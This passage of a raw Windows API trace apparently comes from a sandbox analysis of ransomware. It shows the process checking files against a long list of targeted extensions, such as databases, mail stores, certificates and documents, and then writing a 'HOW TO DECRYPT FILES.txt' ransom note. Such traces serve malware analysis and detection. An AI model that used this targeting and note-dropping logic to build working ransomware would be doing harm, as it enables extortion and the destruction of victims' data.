(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.ofx") returned 0 [0104.493] lstrlenA (lpString="*.ofx") returned 5 [0104.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.qif") returned 0 [0104.493] lstrlenA (lpString="*.qif") returned 5 [0104.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.mye") returned 0 [0104.493] lstrlenA (lpString="*.mye") returned 5 [0104.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.mbox") returned 0 [0104.493] lstrlenA (lpString="*.mbox") returned 6 [0104.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.eml") returned 0 [0104.493] lstrlenA (lpString="*.eml") returned 5 [0104.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.pst") returned 0 [0104.493] lstrlenA (lpString="*.pst") returned 5 [0104.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.ost") returned 0 [0104.493] lstrlenA (lpString="*.ost") returned 5 [0104.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.idx") returned 0 [0104.494] lstrlenA (lpString="*.idx") returned 5 [0104.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.dbx") returned 0 [0104.515] lstrlenA (lpString="*.dbx") returned 5 [0104.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.sql") returned 0 [0104.515] lstrlenA (lpString="*.sql") returned 5 [0104.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.mdb") returned 0 [0104.515] lstrlenA (lpString="*.mdb") returned 5 [0104.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.fdb") returned 0 [0104.515] lstrlenA (lpString="*.fdb") returned 5 [0104.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.wab") returned 0 [0104.515] lstrlenA (lpString="*.wab") returned 5 [0104.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.dat") returned 0 [0104.515] lstrlenA (lpString="*.dat") returned 5 [0104.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.txt") returned 0 [0104.516] lstrlenA (lpString="*.txt") returned 5 [0104.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.jpeg") returned 0 [0104.516] lstrlenA (lpString="*.jpeg") returned 6 [0104.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.jpg") returned 0 [0104.516] lstrlenA (lpString="*.jpg") returned 5 [0104.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.png") returned 0 [0104.516] lstrlenA (lpString="*.png") returned 5 [0104.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.php") returned 0 [0104.516] lstrlenA (lpString="*.php") returned 5 [0104.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.cs") returned 0 [0104.516] lstrlenA (lpString="*.cs") returned 4 [0104.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.cpp") returned 0 [0104.516] lstrlenA (lpString="*.cpp") returned 5 [0104.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.rar") returned 0 [0104.516] lstrlenA (lpString="*.rar") returned 5 [0104.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.zip") returned 0 [0104.517] lstrlenA (lpString="*.zip") returned 5 [0104.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.html") returned 0 [0104.517] lstrlenA (lpString="*.html") returned 6 [0104.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.htm") returned 0 [0104.521] lstrlenA (lpString="*.htm") returned 5 [0104.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.xlsx") returned 0 [0104.521] lstrlenA (lpString="*.xlsx") returned 6 [0104.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.xls") returned 0 [0104.522] lstrlenA (lpString="*.xls") returned 5 [0104.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.mp4") returned 0 [0104.522] lstrlenA (lpString="*.mp4") returned 5 [0104.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.ppt") returned 0 [0104.522] lstrlenA (lpString="*.ppt") returned 5 [0104.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.pptx") returned 0 [0104.522] lstrlenA (lpString="*.pptx") returned 6 [0104.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.doc") returned 0 [0104.522] lstrlenA (lpString="*.doc") returned 5 [0104.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.dot") returned 0 [0104.522] lstrlenA (lpString="*.dot") returned 5 [0104.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.docx") returned 0 [0104.522] lstrlenA (lpString="*.docx") returned 6 [0104.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.7z") returned 0 [0104.522] lstrlenA (lpString="*.7z") returned 4 [0104.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.tar") returned 0 [0104.522] lstrlenA (lpString="*.tar") returned 5 [0104.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.bz2") returned 0 [0104.523] lstrlenA (lpString="*.bz2") returned 5 [0104.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.gz") returned 0 [0104.523] lstrlenA (lpString="*.gz") returned 4 [0104.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.mkv") returned 0 [0104.523] lstrlenA (lpString="*.mkv") returned 5 [0104.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.eml") returned 0 [0104.523] lstrlenA (lpString="*.eml") returned 5 [0104.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.msg") returned 0 [0104.523] lstrlenA (lpString="*.msg") returned 5 [0104.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.edb") returned 0 [0104.523] lstrlenA (lpString="*.edb") returned 5 [0104.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.accdb") returned 0 [0104.523] lstrlenA (lpString="*.accdb") returned 7 [0104.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.odb") returned 0 [0104.523] lstrlenA (lpString="*.odb") returned 5 [0104.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.java") returned 0 [0104.523] lstrlenA (lpString="*.java") returned 6 [0104.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.asm") returned 0 [0104.524] lstrlenA (lpString="*.asm") returned 5 [0104.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.pfx") returned 0 [0104.524] lstrlenA (lpString="*.pfx") returned 5 [0104.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.pem") returned 0 [0104.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.p12") returned 0 [0104.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.gpg") returned 0 [0104.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.vsd") returned 0 [0104.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.odg") returned 0 [0104.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.raw") returned 0 [0104.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.nef") returned 0 [0104.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.svg") returned 0 [0104.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.psd") returned 0 [0104.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.vmx") returned 0 [0104.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.vmdk") returned 0 [0104.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.vdi") returned 0 [0104.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.lay6") returned 0 [0104.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.mpeg") returned 0 [0104.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.djvu") returned 0 [0104.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.tiff") returned 0 [0104.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.backup") returned 0 [0104.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.pdf") returned 0 [0104.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.cert") returned 0 [0104.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.docm") returned 0 [0104.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.xlsm") returned 0 [0104.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.dwg") returned 0 [0104.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.nd") returned 0 [0104.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.tlg") returned 0 [0104.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.lgb") returned 0 [0104.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.mov") returned 0 [0104.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.xdw") returned 0 [0104.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.ods") returned 0 [0104.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.wav") returned 0 [0104.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.mp3") returned 0 [0104.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.aiff") returned 0 [0104.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.flac") returned 0 [0104.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.m4a") returned 0 [0104.528] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.csv") returned 0 [0104.528] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x193a2e56, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x193a2e56, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x193c8fb6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x37600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Classic.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0104.528] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.528] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18eba0ed, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18eba0ed, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18eba0ed, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="299d0b38053fd7cbd84bac2178c3703b", cAlternateFileName="299D0B~1")) returned 1 [0104.528] lstrcmpA (lpString1=".", lpString2="299d0b38053fd7cbd84bac2178c3703b") returned -1 [0104.528] lstrcmpA (lpString1="..", lpString2="299d0b38053fd7cbd84bac2178c3703b") returned -1 [0104.528] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\*.*") returned="*.*" [0104.528] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\", lpString2="299d0b38053fd7cbd84bac2178c3703b" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b" [0104.529] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18eba0ed, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18eba0ed, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18eba0ed, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.529] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.529] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18eba0ed, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18eba0ed, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18eba0ed, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.529] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.529] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.529] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18e6de2c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18e6de2c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18e93f8d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x59e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Aero.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0104.529] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.529] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFramework.Aero.ni.dll") returned -1 [0104.529] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFramework.Aero.ni.dll") returned -1 [0104.529] lstrcmpiA (lpString1="", lpString2="PresentationFramework.Aero.ni.dll") returned -1 [0104.529] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\*.*") returned="*.*" [0104.529] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\" [0104.530] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\") returned="" [0104.530] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\HOW TO DECRYPT FILES.txt" [0104.530] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationframewo#\\299d0b38053fd7cbd84bac2178c3703b\\how to decrypt files.txt")) returned 0xffffffff [0104.530] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\299d0b38053fd7cbd84bac2178c3703b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationframewo#\\299d0b38053fd7cbd84bac2178c3703b\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.531] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, 